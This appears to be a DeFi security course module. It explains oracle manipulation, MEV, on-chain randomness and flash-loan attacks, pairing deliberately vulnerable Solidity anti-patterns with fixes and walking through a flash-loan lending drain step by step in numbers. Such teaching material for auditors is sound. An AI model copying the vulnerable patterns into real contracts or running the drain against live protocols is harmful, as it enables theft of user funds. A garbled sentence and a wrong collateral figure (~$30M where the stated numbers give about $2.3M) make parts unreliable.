Week 06 — Vulnerability Classes Part 2: Oracles, MEV, Randomness, Flash Loans, Rounding & DoS

“Week 05 was about who runs your code and in what order. Week 06 is about what your code believes — about price, about time, about randomness, and about the cost of an attack. Reentrancy drains a vault by abusing execution order; oracle manipulation drains the same vault by abusing the protocol’s mental model of ‘fair price’. Both end with the vault empty. The auditor who only knows one half spots only one half of the bugs.”

Tags: web3-security vulnerability oracle mev randomness flash-loan rounding dos precision Learner: Past Tuan-05-Vulnerability-Classes-Part-1 — ready for value/time/economic assumption bugs Time: 7 days (5–6h/day; dense, with three Foundry PoCs) Related: Tuan-07-Token-Standards-Integration-Risk · Tuan-08-DeFi-Security-AMM-Lending-Vault · Tuan-09-Oracle-MEV-Economic-Attack · Case-bZx-Price-Manipulation-2020 · Case-Harvest-Finance-2020 · Case-Beanstalk-Governance-2022 · Case-Euler-Finance-2023


1. Context & Why

1.1 The unifying meta-model — assumptions about value and time

Where Week 05 (Tuan-05-Vulnerability-Classes-Part-1) framed every bug as “the EVM allowed external code to run in the middle of a state transition the developer thought was atomic”, Week 06 frames every bug here as:

The protocol consumes a number it didn’t generate, treats that number as ground truth, and the attacker controls the number — or the protocol generates a number from a primitive that isn’t what the developer believed it was.

That number can be:

  • A price (oracle manipulation — bZx, Harvest, Mango, countless smaller drains).
  • A position in a queue (MEV / front-running — sandwich attacks, JIT liquidity).
  • A random value (lottery exploits, NFT mint biasing).
  • A share-asset ratio inside a vault (ERC-4626 inflation — Euler 2023 is the highest-profile variant).
  • The order of magnitude of a result after a chain of multiplications and divisions (precision loss, decimal-mismatch bugs).
  • The cost of executing your own function (DoS via unbounded loops, push-payment to a reverter).

The auditor’s mental tic for this week: for every external number the contract reads — whose number is it, when was it produced, and what does it cost an adversary to make it lie?

If the answer is “we read getReserves() from a Uniswap V2 pool and treat the ratio as a price”, the adversary’s cost is “one block of capital, which I can flash-loan for $0”. If the answer is “we read a 30-minute TWAP from Uniswap V3”, the adversary’s cost is “30 minutes of sustained skew at the inventory cost of the depth × time, plus continual arbitrage drain”. Different protocol, different threat model.

1.2 What you’ll be able to do by Friday

  • Identify every oracle dependency in a codebase and classify it as push/pull/spot/TWAP/custom.
  • Score the manipulation cost of a spot-price oracle against a given AMM pool’s depth.
  • Write a Chainlink latestRoundData consumer that correctly handles staleness, sequencer downtime (on L2), and decimal alignment.
  • Build a Foundry PoC that flash-loans capital, manipulates a spot oracle, and drains a vulnerable lending contract.
  • Recognize every common randomness anti-pattern and explain why block.prevrandao is not “random enough”.
  • Distinguish the four flavors of MEV (sandwich, back-run, JIT, PGA) and name a protocol mitigation for each.
  • Compute the share-asset rounding direction for an ERC-4626 vault and reproduce the inflation attack.
  • Spot unbounded-loop and push-to-revert DoS patterns by inspection.

1.3 Why this matters economically

Loss data from 2020–2024 (DefiLlama, Chainalysis, Rekt) consistently puts oracle manipulation + flash-loan attacks as either the #1 or #2 loss category by total USD. Reentrancy gets the press; oracle abuse gets the money. Among 2022’s losses, Chainalysis attributed ~$386M directly to “oracle manipulation attacks” — and that number excludes economic attacks that also depended on oracle behavior but were classified elsewhere [verify].

1.4 Primary references

SourceURLStatus
Chainlink Data Feeds APIhttps://docs.chain.link/data-feeds/api-referenceCurrent
Chainlink L2 Sequencer Uptime Feedshttps://docs.chain.link/data-feeds/l2-sequencer-feedsCurrent
Chainlink VRF v2.5https://docs.chain.link/vrfCurrent
Pyth Network EVM docshttps://docs.pyth.network/price-feeds/use-real-time-data/evmCurrent
Uniswap V3 Oraclehttps://developers.uniswap.org/concepts/protocol/oracleCurrent
Aave V3 Flash Loanshttps://aave.com/docs/aave-v3/guides/flash-loansCurrent [verify path]
Flashbots Protecthttps://docs.flashbots.net/flashbots-protect/overviewCurrent
MEV-Sharehttps://docs.flashbots.net/flashbots-mev-share/introductionCurrent
CoW Protocol (batch auctions)https://docs.cow.fi/Current
OpenZeppelin Math (mulDiv)https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/Math.solCurrent
OpenZeppelin ERC-4626 (inflation defense)https://docs.openzeppelin.com/contracts/5.x/erc4626Current
OpenZeppelin “A Novel Defense Against ERC4626 Inflation Attacks”https://www.openzeppelin.com/news/a-novel-defense-against-erc4626-inflation-attacksCurrent
d-xo / weird-erc20https://github.com/d-xo/weird-erc20Current
Flash Boys 2.0 (Daian et al., 2019)https://arxiv.org/abs/1904.05234Foundational
Solodit (search “oracle”, “rounding”)https://solodit.cyfrin.io/Current
Rekt Newshttps://rekt.news/Current

2. Oracle Manipulation — the dominant loss class

2.1 What an oracle is, from the auditor’s seat

An oracle is any source of a number the contract didn’t compute itself. In production this includes:

  • Spot price reads from an AMM (pair.getReserves(), slot0.sqrtPriceX96).
  • TWAP reads (pool.observe(...) on Uniswap V3, currentCumulativePrices on V2).
  • Push-oracles like Chainlink Data Feed (AggregatorV3Interface.latestRoundData()).
  • Pull-oracles like Pyth (price posted by user with signed update inside the tx).
  • Off-chain attested data via API3/Tellor/UMA/Redstone.
  • Cross-protocol reads (Curve virtual_price, Lido getPooledEthByShares, etc.) — yes, reading another protocol’s view is using it as an oracle.

Threat-model question for each: how much does it cost an adversary to make this number lie by X% for the duration of one transaction?

flowchart LR
  A[Attacker capital<br>flash loan or own funds] --> M[Manipulation venue<br>AMM swap, listing, etc.]
  M -->|spot price shifts| O[Oracle source]
  O -->|wrong price| V[Victim protocol logic<br>borrow / liquidate / swap / mint]
  V -->|drained value| A
  A -.repays flash loan.-> Repay[Flash-loan pool]
  style M fill:#ffe69c
  style O fill:#ffcccc
  style V fill:#ffcccc

The picture for every oracle attack is the same shape. What differs is the cost of the M → O edge.

2.2 Spot price oracles — the #1 audit red flag

Anti-pattern:

function getPrice() public view returns (uint256) {
    (uint112 r0, uint112 r1, ) = IUniswapV2Pair(pair).getReserves();
    // assume token0 = WETH, token1 = USDC
    return (uint256(r1) * 1e18) / uint256(r0); // USDC per WETH
}

Why this is broken:

  • getReserves() returns the current-block state of the pool. Anyone can change it within the same tx by swapping.
  • A flash loan provides arbitrarily large capital at zero capital cost. The attacker can move the spot price to whatever they want, within the pool’s slippage curve.
  • After the dependent action (borrow / liquidate / mint) completes against the wrong price, the attacker reverses the swap and repays the flash loan. Net cost ≈ AMM fees + gas. Net profit ≈ whatever the dependent action paid out.

This is the bZx 2020 shape, the Harvest 2020 shape, the Cheese Bank shape, and dozens of smaller incidents.

Manipulation-cost calculation (auditor reflex):

For a constant-product pool with reserves (x, y) and product k = x*y, swapping Δx of token0 in moves the price ratio from y/x to (y - Δy) / (x + Δx) where Δy = y - k/(x+Δx) (ignoring fees). To move the price by factor p (e.g., 2× for a “double the price” attack), you need:

(x + Δx) * (y / p) = k   =>   Δx = x * (p - 1)

Wait — that’s wrong; let me redo. To move price y/x up to p*(y/x), the new reserves (x', y') must satisfy y'/x' = p*y/x and x' * y' = k. Solving:

x' = x / sqrt(p),   y' = y * sqrt(p)

So you need to remove x - x/sqrt(p) = x*(1 - 1/sqrt(p)) of token0 by swapping in token1 (and the swap-in of token1 is y*(sqrt(p) - 1)). Roughly: to double the price you need to swap in ~41% of the existing token1 reserve.

The pool’s TVL is 2*sqrt(k)*sqrt(y/x) * (price of x in stable units) — there’s a simple rule of thumb: for a Uniswap V2 pool, you need capital on the order of the pool’s TVL to substantially move its price. With a flash loan, you have that capital for free.

Audit rule of thumb: if the protocol’s at-risk TVL exceeds the depth of the oracle pool, the oracle is manipulable for profit. Always.

2.3 TWAP — better, but not invulnerable

A Time-Weighted Average Price aggregates the spot price across a window. Manipulation now costs price-skew × time, because to bias a 30-minute TWAP by 10%, you need to hold the price 10% off for 30 minutes (or 50% off for 6 minutes — they integrate). Arbitrageurs will pump fiat into your skewed pool the whole time, raising your cost.

2.3.1 Uniswap V2 TWAP

V2 exposes price0CumulativeLast and price1CumulativeLast. Consumers snapshot these at time t0 and t1, then:

twap_01 = (cumulative1 - cumulative0) / (t1 - t0)

Pitfalls:

  • The cumulative is uint256-overflow-by-design; subtract using unchecked arithmetic.
  • You must store the snapshot at t0 somewhere — you can’t just call into the pool. Consumers maintain their own observation register.
  • A single block can still be your t1. Read-after-write within a block sees a manipulated cumulative, so do not rely on the same-block reading.
  • “Last update” is updated lazily — at the time of the next swap. A stale pool has a stale cumulative.

2.3.2 Uniswap V3 TWAP — the modern default

V3 ships an internal observation ring buffer. Anyone can increaseObservationCardinalityNext(n) (paying gas) to expand the buffer (max 65535 → roughly ~9 days at typical block intervals [verify based on chain]). Then:

int24 averageTick;
{
    uint32[] memory secondsAgos = new uint32[](2);
    secondsAgos[0] = 1800;   // 30 minutes ago
    secondsAgos[1] = 0;      // now
    (int56[] memory tickCumulatives, ) = pool.observe(secondsAgos);
    int56 delta = tickCumulatives[1] - tickCumulatives[0];
    averageTick = int24(delta / int56(uint56(1800)));
}
uint256 sqrtPriceX96 = TickMath.getSqrtRatioAtTick(averageTick);

Then convert sqrtPriceX96 → price using FullMath.mulDiv (don’t **2 it naïvely — overflow city). OpenZeppelin and Uniswap publish helper libraries.

Audit checks for V3 TWAP:

  • Window length is appropriate to the protocol’s risk tolerance (30 min is a common floor; 1 hour+ for high-stakes lending). Too short = manipulable in a single block of skew; too long = price lags reality during market moves, causing bad liquidations.
  • Observation cardinality is sufficient — pool.slot0().observationCardinality ≥ what you need for the chosen window. Else observe() reverts. Some protocols auto-bump on first use; check.
  • In-range liquidity is non-trivial. A V3 pool with all liquidity outside the active range gives a stale, manipulable tick. Verify pool.liquidity() > 0.
  • Manipulation cost rough estimate: pool depth × twap window × bias × per-block-arbitrage premium. If the answer is “less than the value at risk”, the oracle is too weak.

2.3.3 TWAP-of-a-low-liquidity-pool — the silent killer

A 1-hour TWAP from a pool with 10M flash loan. The skew per block is enormous; arbitrage may also be shallow on a thinly-traded asset, so the price stays skewed for the full window.

Rule: TWAP duration is necessary but not sufficient. Pool depth is the real lever. Audit findings: “the protocol uses a 30-minute Uniswap V3 TWAP” is not enough — you need to ask which pool, of which assets, with how much in-range liquidity.

Chainlink’s push-oracle is the industry default for “trusted” price input. The data feed is a proxy contract aggregating off-chain reporter signatures; the consumer reads latestRoundData().

interface AggregatorV3Interface {
    function latestRoundData() external view returns (
        uint80 roundId,
        int256 answer,
        uint256 startedAt,
        uint256 updatedAt,
        uint80 answeredInRound
    );
    function decimals() external view returns (uint8);
}

Anti-pattern:

(, int256 answer, , , ) = feed.latestRoundData();
uint256 price = uint256(answer); // BUG

What’s wrong:

  1. No staleness check — if the off-chain reporters are down, answer could be hours/days old.
  2. No sign check — answer is int256; negative values are possible for some feeds (e.g., funding rate feeds). For price feeds, a negative is a hard error.
  3. No answeredInRound check — historically used to detect a round that didn’t complete. Chainlink now marks answeredInRound as deprecated [verify], but defensive code still asserts answeredInRound >= roundId.
  4. No decimal handling — most USD feeds are 8 decimals (feed.decimals() == 8), and arithmetic that assumes 1e18 produces wrong-by-10-orders-of-magnitude numbers.
  5. No sequencer-uptime check on L2.

Correct consumption pattern:

function _readPrice(AggregatorV3Interface feed, uint256 maxStaleness)
    internal
    view
    returns (uint256 priceWad)
{
    (uint80 roundId, int256 answer, , uint256 updatedAt, uint80 answeredInRound) =
        feed.latestRoundData();
 
    require(answer > 0, "negative or zero price");
    require(updatedAt != 0, "round not complete");
    require(block.timestamp - updatedAt <= maxStaleness, "stale price");
    // Defensive even if deprecated:
    require(answeredInRound >= roundId, "round mismatch");
 
    uint8 d = feed.decimals();
    // Normalize to 1e18 ("WAD") for protocol math.
    if (d < 18) {
        priceWad = uint256(answer) * (10 ** (18 - d));
    } else if (d > 18) {
        priceWad = uint256(answer) / (10 ** (d - 18));
    } else {
        priceWad = uint256(answer);
    }
}

maxStaleness should match the feed’s documented heartbeat (the longest interval between updates) plus a safety margin. Chainlink publishes per-feed heartbeats; for ETH/USD on mainnet it’s typically 1 hour, for some LSTs it’s 24 hours. Hard-coding 1 hour for an LST feed mis-protects; hard-coding 24 hours for ETH/USD is too lax.

2.4.1 L2 sequencer uptime — non-negotiable on Optimism/Arbitrum/Base

On a centralized-sequencer L2, if the sequencer goes down, no transactions are processed including liquidations. Users with under-water positions cannot be liquidated; users with positions still in the money cannot get out. When the sequencer returns, the price has moved drastically — and Chainlink’s L2 price feed reports the new price as if it had been there all along. Mass liquidations follow.

The defense: read Chainlink’s L2 Sequencer Uptime Feed before consuming any price, and apply a grace period (Chainlink recommends 3600 seconds / 1 hour).

function _checkSequencer(AggregatorV3Interface sequencerFeed) internal view {
    (, int256 status, uint256 startedAt, , ) = sequencerFeed.latestRoundData();
    // status == 0 => sequencer up; status == 1 => sequencer down
    require(status == 0, "sequencer down");
    // Grace period: 1 hour after sequencer comes back, refuse price reads
    require(block.timestamp - startedAt > 3600, "grace period");
}

Audit finding template: “Contract is deployed on Arbitrum and consumes Chainlink ETH/USD with no sequencer-uptime check. During a sequencer downtime + recovery window, liquidation flows can be triggered against stale-then-jumped prices, causing mass user liquidations. Severity: High.”

2.5 Pyth — pull-oracle pattern

Pyth flips the model. Instead of Chainlink pushing prices on-chain every heartbeat, Pyth publishes prices off-chain (Wormhole-attested), and the caller of the consuming function bundles a priceUpdateData blob into the transaction. The Pyth contract verifies the signed update, writes it to storage, then the consuming logic reads it.

function trade(bytes[] calldata priceUpdate) external payable {
    uint256 fee = pyth.getUpdateFee(priceUpdate);
    pyth.updatePriceFeeds{value: fee}(priceUpdate);
 
    PythStructs.Price memory p = pyth.getPriceNoOlderThan(
        ETH_USD_PRICE_ID,
        60 // max 60 seconds old
    );
    // p.price, p.expo, p.publishTime, p.conf
    int64 price = p.price;
    int32 expo = p.expo; // typically -8 for USD pairs
    require(price > 0, "bad price");
    // ... use price
}

Audit angles for Pyth:

  • Caller controls which priceUpdate they submit. They can replay a slightly older (but still within freshness) update if it benefits them. Use the tightest freshness threshold the protocol can tolerate.
  • getPriceNoOlderThan reverts on stale data. getPriceUnsafe does notgetPriceUnsafe in production code is a finding.
  • expo is negative for typical price feeds (e.g., -8 for USD pairs). Multiplying without converting via 10**uint32(-expo) produces wrong-magnitude prices.
  • Confidence interval (p.conf) is published. High-stakes integrations should reject when conf / price > threshold (e.g., 1%).
  • Fee: getUpdateFee() must be paid; uncovered fee causes revert. Caller must pass enough msg.value.

2.6 Custom oracles — usually a finding

When a protocol rolls its own oracle (e.g., “we read the price from our DAO multisig once a day”), the threat model collapses into the trust model of the operator. Audit angles:

  • Who is the writer? Multisig? Threshold? Geographically diverse signers?
  • What’s the write cadence? What happens if the operator misses?
  • Can the operator submit any value, or is it bounded (max-deviation, max-rate-of-change)?
  • Is there a fallback (Chainlink) when the custom oracle is stale?

Common bug: protocol “uses Chainlink with a custom override”. The override is callable by onlyOwner. The owner is a 1-of-1 EOA. Drain at will. This is a governance finding, not an oracle finding, but it lives on the oracle surface.

2.7 Multi-oracle aggregation — defense in depth

Mature protocols (Aave, Compound, Maker) read multiple oracles and either:

  1. Median them and reject if any individual deviates beyond a threshold.
  2. Primary + fallback: Chainlink first; if stale, Uniswap V3 TWAP as backup.
  3. Both required to agree within X% for a sensitive action (e.g., liquidation).

Trade-off table:

StrategyStrengthWeakness
Single ChainlinkSimple, well-testedSingle point of failure if Chainlink is wrong / slow
Single TWAPNo off-chain trustManipulation cost scales with pool depth × time
Median of 3Robust to any single oracle errorHigher gas; aggregation logic itself is a bug surface
Primary + fallbackLiveness + safetyFallback must be quality-controlled (don’t fall back to spot!)
Chainlink + TWAP cross-checkHardest to manipulateMost gas; logic complexity

Auditor reflex: if you see only one oracle source on a high-stakes action (liquidation, mint), ask: “what’s the fallback if this source is wrong or stale?“

2.8 Oracle anti-pattern table (quick reference)

Anti-patternWhy brokenFix
Reads getReserves() for priceSingle-block manipulationTWAP or Chainlink
Reads slot0() directly for priceSingle-block manipulationobserve() instead
Chainlink latestRoundData no staleness checkStale price during outageCompare updatedAt to heartbeat
Chainlink no L2 sequencer checkMass-liquidation post-downtimeAdd Sequencer Uptime Feed
Chainlink answer used directly without decimal handlingOff-by-10-ordersNormalize to 1e18
Pyth getPriceUnsafe in productionNo freshness guaranteeUse getPriceNoOlderThan
TWAP from low-liquidity poolCheap multi-block manipulationVerify pool depth
TWAP window too short (e.g., 5 blocks)One block of skew suffices≥ 30 min for lending
Custom-oracle setter callable by 1-EOAGovernance attackMultisig + timelock + bounded change
Single oracle on liquidation flowSingle point of failureAggregate / cross-check

3. MEV / Front-Running — fairness as a security property

3.1 Why this is in scope for an auditor

MEV (Maximum Extractable Value) is the profit a block proposer (or anyone who can influence ordering) can extract by reordering, inserting, or censoring transactions. It became a household term after Flash Boys 2.0 (Daian et al., 2019).

Naïvely, “MEV is the user’s problem; not my contract’s”. This is wrong. Contracts that don’t consider MEV:

  • Pay users worse prices than they could have — driving them to competitors.
  • Enable predictable extraction that becomes a continuous tax on the protocol’s users.
  • Lose value during liquidations / auctions because searchers extract the bid-ask spread that should have gone to the protocol.

A real audit covers MEV because it’s “value not delivered to users”, which is a kind of severity finding even when no funds are stolen in a single transaction.

3.2 The mempool exposure model

sequenceDiagram
    participant U as User
    participant MP as Public Mempool
    participant S as MEV Searcher
    participant B as Block Builder
    participant N as L1

    U->>MP: tx: swap 100 ETH → USDC (slippage 1%)
    Note over MP: tx is visible to everyone
    S->>S: see profitable opportunity
    S->>MP: tx_front: buy USDC (push price up)
    S->>MP: tx_back: sell USDC (after victim)
    B->>B: order: tx_front, U.tx, tx_back
    B->>N: block with [tx_front, U.tx, tx_back]
    Note over U: User pays inflated price; searcher profits

This is the sandwich attack. Variants:

MEV patternDescriptionDefense
SandwichFront-run user trade, back-run to capture slippagePrivate order flow; tight slippage; commit-reveal
Back-runInsert a tx after a victim tx to capture an arb the victim created (oracle update, liquidation eligibility)Auction-based ordering (CoW), MEV-Share refunds
JIT liquiditySearcher provides V3 liquidity within victim’s tick range for one block, captures fees, removesSlippage protection; some V3 forks restrict mint-then-burn-same-block
PGA (Priority Gas Auction)Searchers bid up gas to be first in a profitable opportunity (liquidation, NFT mint)Builder-level auctions; first-price → flashloan-with-bribe
Time-bandit / reorgReorg the chain to insert/remove a txFinality (post-Merge, less concerning for most apps)
Generalized front-runnerBot that simulates every public tx, copies any profitable onePrivate mempool

3.3 Why slippage is your last line of defense (and sometimes not enough)

Standard mitigation: caller sets minOut (Uniswap-style). If the swap returns less than minOut, revert.

Subtleties:

  • minOut too loose — many wallets/aggregators default to 0.5% or 1% slippage; sandwich attackers extract exactly up to that bound.
  • minOut computed from manipulated quote — if the front-end quotes from the spot price after an in-flight pending tx, the quote is already gamed.
  • minOut denominated in the wrong unit for fee-on-transfer tokens — actual received is less than reported by the receive amount.
  • Auto-routers (Uniswap UniversalRouter, 1inch) sometimes bundle several hops; sandwich attackers target the most-slippage hop in the middle.

3.4 Mitigations — for protocols, not just users

3.4.1 Private order flow

Flashbots Protect RPC: user submits the tx to a private relay. The relay forwards to MEV-Boost builders without exposing it to the public mempool. Sandwich attackers can’t see it; back-runners that work with the builder might still extract value, but the user is protected from the worst case. The current Flashbots Protect endpoint also has a “no revert” guarantee: the tx is only included if it won’t revert.

MEV-Share: extends Protect with partial disclosure — the user opts to share some tx info (hints) in exchange for a refund of the MEV that searchers extract. Builders return ~90% of MEV value to the originating user by default [verify percentage].

Protocol auditing angle: if a protocol publishes “user-facing flows” (e.g., a swap interface), is the recommended RPC private?

3.4.2 Commit-reveal

User commits keccak256(action || salt) in tx1, reveals (action, salt) in tx2 (one or more blocks later). Searchers seeing tx1 can’t infer the action; by the time tx2 is in the mempool, the commit has already paid for the right to execute.

Used by: some governance systems, sealed-bid auctions, some NFT mints.

Drawbacks: 2 transactions, user UX is worse, requires holding the salt (lose salt = lose tx).

3.4.3 Batch auctions

CoW Protocol and Uniswap X batch user intents over a small window (~30 seconds) and let solvers compete to find the best multi-trade clearing. Within the batch, all trades clear at a uniform price — eliminating intra-batch sandwich extraction. Solvers compete for the right to fill the batch, returning value to users via better prices.

CoW (Coincidence of Wants) further internalizes trades between users without touching an AMM, eliminating LP fees and slippage for matched pairs.

Audit angle: batch-auction systems push the bug surface from “EVM-level sandwich” to “solver collusion”, “off-chain matching engine integrity”, and “settlement contract correctness”. Different audit, similar adversaries.

3.4.4 Application-level protections

  • EIP-712 signed orders with explicit permittedTakerOrFiller field — only the intended counterparty (or address(0) = anyone) can fill.
  • Deadline — orders expire, limiting how long a leaked signature is exploitable.
  • Nonce — replay protection on the same chain.
  • Order book vs AMM — orderbooks naturally have no sandwich vector (taker’s price is fixed at signed time), but you’ve moved the problem to off-chain order matching.

3.5 Auditor’s MEV checklist

  • Every swap-like function has a slippage parameter (minOut, sqrtPriceLimitX96, etc.).
  • Slippage defaults in the front-end are tight enough (not 5%).
  • Liquidation incentive isn’t extractable purely via PGA at the protocol’s expense (e.g., flat % of position rather than a Dutch auction).
  • Recommended user RPC is private (Flashbots Protect / Protect-with-MEV-Share).
  • Any oracle-updating action (Pyth update, Chainlink poke) can’t be front-run for free profit by an attacker.
  • For batch-auction integrations: solver collusion model is documented.

4. Bad Randomness — why every “use of block.X” is suspicious

4.1 The fundamental problem

The EVM is deterministic. There is no source of true randomness inside the execution layer. Every “random-looking” value is derived from block context — and the block context is controlled (or at least observable) by the proposer.

”Random” sourceWhat an attacker can do
block.timestampProposer can shift up to ~15s; attacker times their tx to land in a favorable block; for predictable distributions, attacker simulates which timestamp wins
block.numberFully deterministic and publicly known; never random
blockhash(block.number - 1)Known the moment the block is mined. Attacker contract can require a favorable outcome and revert otherwise; retry until win (PGA)
block.prevrandao (RANDAO)Better than blockhash — derived from validator BLS reveals — but the proposer can choose to skip their slot if the value disfavors them. With one slot of skip, they bias the distribution by ~1/N (where N is validator count) — small per attempt, but exploitable across many trials. NOT cryptographically secure for high-value flows.
keccak256(block.x, msg.sender)Combination of public inputs; attacker simulates locally and only sends tx when winning
gasleft()Loosely manipulable; only “random” by accident; same as the above

Bottom line: there is no on-chain primitive that gives unbiased, unpredictable randomness without external help.

Chainlink VRF provides cryptographically verifiable randomness:

  1. Consumer contract calls requestRandomWords(...) — this emits an event picked up by VRF nodes.
  2. VRF node generates (randomness, proof) off-chain such that anyone can verify proof against the node’s public key.
  3. VRF Coordinator contract verifies the proof on-chain and calls fulfillRandomWords(requestId, randomWords) on the consumer.
  4. Consumer’s fulfillRandomWords callback uses the randomness for its decision (e.g., pick lottery winner).
sequenceDiagram
    participant C as Consumer
    participant VC as VRF Coordinator
    participant N as VRF Node (off-chain)

    C->>VC: requestRandomWords(keyHash, subId, requestConf, gasLimit, numWords)
    VC-->>VC: log event
    N-->>VC: oracle fulfill (random + proof)
    VC->>VC: verify proof on-chain
    VC->>C: fulfillRandomWords(requestId, [randomWords])
    Note over C: use randomness for its decision

Common VRF misuse:

MisuseWhy broken
Reverting fulfillRandomWordsIf your callback reverts, the randomness is lost. Coordinator records it, attacker may game the retry (cancel-then-rerequest in some configs). Always make fulfillRandomWords infallible: store the result and let separate logic consume it.
Using requestId as the random valuerequestId is not random — it’s a deterministic counter. Don’t conflate.
Single-block decision after requestVRF is asynchronous. Don’t require(randomness > 0) inside the same tx as requestRandomWords. Separate request from consumption.
Re-roll on disliked resultIf the consumer can request again until they like the result, you’ve recreated the same biasing-via-skipping problem as RANDAO.
Mistuned requestConfirmationsToo few confirmations → reorg can change the seed; too many → bad UX. ~3 is typical mainnet [verify per chain].
Underfunded subscriptionVRF requires LINK in a subscription. If the subscription is empty when the request lands, the request silently doesn’t fulfill. Monitor and top up.

4.3 Commit-reveal for randomness — when VRF is overkill

For lower-stakes randomness (e.g., a 50/50 game between two parties), commit-reveal works:

  1. Player A commits keccak256(secretA || salt) on chain.
  2. Player B commits keccak256(secretB || salt).
  3. Both reveal (secret, salt) after both commits are confirmed.
  4. The random value is keccak256(secretA || secretB).

Pitfalls:

  • Player B refuses to reveal if the simulated outcome disfavors them. Need an economic punishment (slash a deposit on non-reveal) and a timeout. Without these, half the time the game is unresolvable.
  • Reveal-first attacks: if A reveals first and B sees, B can compute the random and refuse to reveal if they’d lose. Reveals must be simultaneous (or use a forced-reveal mechanism via slashable bond).
  • Single-party “commit-reveal” (the dev’s own secret) is fake randomness — the dev knows the result before committing.

4.4 Application examples and their right answer

Use caseWrongRight
Lottery winner pickingkeccak256(block.timestamp, msg.sender) % participants.lengthChainlink VRF
NFT mint revealblock.prevrandao based reveal in same txVRF or future-block-commit
Gacha box resultblockhash(block.number - 1)VRF
Fair-launch orderingblock.timestamp based timestamp queueVRF for shuffling; or commit-reveal with deposit
Pseudorandom UI stateblock.timestampFine (no value at stake)

5. Flash Loans — the cost of an attack reaches zero

5.1 What a flash loan is

A flash loan is an uncollateralized loan that is borrowed and repaid in the same transaction. If the borrower doesn’t repay (plus fee) by the end of the tx, the entire tx reverts — including the loan disbursement. The lender is therefore atomically safe.

Major providers:

ProviderAsset coverageFeeNotes
Aave V3All listed pool assetstypically 5 bps (0.05%) of borrowed amount [verify current rate]flashLoan (multi-asset) and flashLoanSimple (single-asset) entry points
Balancer V2All vault assets0 bps (free, for some pools) [verify]Use the vault flash-loan, not pool-level
dYdX (Solo Margin v1)Limited assets1 wei fee historically; service now winding down on Ethereum [verify]Used in many 2020-era exploits
Uniswap V3Any pool’s tokensThe swap fee for the pool (typically 0.3%)Flash via pool.flash(...) callback
Maker DSS FlashDAIVariable fee, typically very low [verify]DAI-only
// Aave V3 callback shape
function executeOperation(
    address asset,
    uint256 amount,
    uint256 premium,
    address initiator,
    bytes calldata params
) external returns (bool) {
    // ... do whatever in this function ...
    // Approve the Pool to pull back amount + premium
    IERC20(asset).approve(address(POOL), amount + premium);
    return true;
}

5.2 Why “no flash loans here” is not a defense

A common naïve fix: “we’ll just check that the user’s balance was not recently mutated by a flash loan”. This fails in every direction:

  1. The attacker brings their own capital. If they have $50M of stables sitting in their wallet, they don’t need to flash-loan. They use their own capital, do the attack, recover their capital, profit. Same execution graph, no flash-loan involvement.
  2. The attacker uses indirect routes — flash-loan from one provider, swap into another asset, use that as “their own” capital in your protocol.
  3. Detecting “is this a flash-loan-borrowed token” is generally impossible without privileged information.

The principle: flash loans don’t enable new attacks; they enable cheaper attacks. The right fix is to make the underlying logic not exploitable at scale, not to “ban flash loans”.

5.3 The flash-loan-amplified attack pattern

The canonical flow:

flowchart TD
  S[Attacker tx] --> B[Borrow large amount<br>via flash loan]
  B --> M[Manipulate the venue<br>oracle / governance / pool ratio]
  M --> A[Trigger action on victim<br>borrow / liquidate / mint / vote]
  A --> R[Reverse the manipulation<br>swap back, withdraw]
  R --> Rp[Repay flash loan + fee]
  Rp --> P[Pocket the difference]

Examples by class:

ClassManipulation venueVictim actionFamous case
Oracle (spot)Swap on AMM → spot priceBorrow against inflated collateralbZx (2020)
Oracle (TWAP)Sustained skew via many blocks (less common)Borrow against inflated collateralVarious ill-designed forks
Vault accountingDonate to inflate share priceSteal subsequent depositsEuler-style (2023) for one component
GovernanceBorrow gov token → votePass malicious proposalBeanstalk (2022)
Reward accountingBorrow → stake → claim → unstakeSteal pro-rata rewardsMany smaller incidents

5.4 Worked example (numbers) — oracle manipulation + lending drain

Setup:

  • Vulnerable lending protocol Lender reads the ETH/USDC price from a single Uniswap V2 pool UniV2_ETH_USDC using getReserves().
  • The pool currently holds 1,000 ETH and 3,000,000 USDC. Price = 3000 USDC/ETH. TVL ≈ $6M.
  • Attacker has $0 collateral. They flash-borrow 10,000,000 USDC from Aave (premium 5 bps = 5,000 USDC).

Attack:

  1. Swap 10,000,000 USDC into ETH on UniV2_ETH_USDC. Approximate (using x*y = k = 3e9):
    • New USDC reserve: 13,000,000.
    • New ETH reserve: 3e9 / 13e6 ≈ 230.77 ETH.
    • Attacker received ≈ 769.23 ETH.
    • New spot price (USDC/ETH): 13e6 / 230.77 ≈ 56,335 USDC/ETH. (~19× the real price.)
  2. Deposit the 769.23 ETH into Lender as collateral. At Lender’s manipulated price oracle, this is “worth” 769.23 × 56,335 ≈ $43.3M.
  3. Borrow up to LTV (say 75%): ~$32.5M worth of any asset Lender holds.
  4. Swap the 769.23 ETH back to USDC on the same pool, restoring its reserves roughly. (Attacker loses some to AMM fees but recovers most of the 10M USDC.)
  5. Repay flash loan: 10,000,000 + 5,000 = 10,005,000 USDC.
  6. Attacker walks away with the 32.5M they borrowed minus the AMM round-trip cost (~0.6% of 10M ≈ 60k) and the 5k flash-loan premium. Net: ~$32M profit.

Lender’s protection? The “collateral” they hold is 769.23 ETH which is, at real price, worth ~30M. Insolvent.

This is the bZx archetype, in numbers.

Audit takeaway: the spot-price read in step (2)‘s collateral valuation is the bug. Move to TWAP-of-deep-pool, or to Chainlink, or to a cross-checked composite. Then the attack costs O(pool-depth × twap-window) per percentage point of bias, which makes it economically uninteresting.

5.5 Designing for flash-loan resilience

  • Use prices that are expensive to move. TWAP over a window long enough that holding the skew costs more than the action can yield.
  • Decouple deposit from immediate borrow. If new collateral must “season” for N blocks before counting against borrowing power, single-tx attacks become impossible. This is the block-delay defense [verify]. (Costs UX: legitimate users wait too.)
  • Health-check after every action, including non-obvious ones (donations, transfers in, callbacks). Euler 2023 missed this on donateToReserves. The function correctly burned eTokens but didn’t burn dTokens, AND didn’t trigger a health-check, so the donor could pull themselves below health and into liquidation profitably. Always: after every state-mutating action on a leveraged position, re-check solvency.
  • Cap action sizes per block for sensitive actions (liquidations, mints) — limits damage even when the underlying bug exists.
  • Read-only reentrancy locks, per Week 05 (so view functions don’t lie during state transitions — relevant to oracles that consume another protocol’s view as input).

6. Integer & Rounding — the auditor’s loupe lens

6.1 Pre-0.8 overflow/underflow (historical context)

Solidity ≥ 0.8.0 (December 2020) ships with built-in arithmetic checks. Overflow/underflow reverts by default. unchecked { ... } blocks opt out for explicit cases.

Historical bug class (Solidity < 0.8 era):

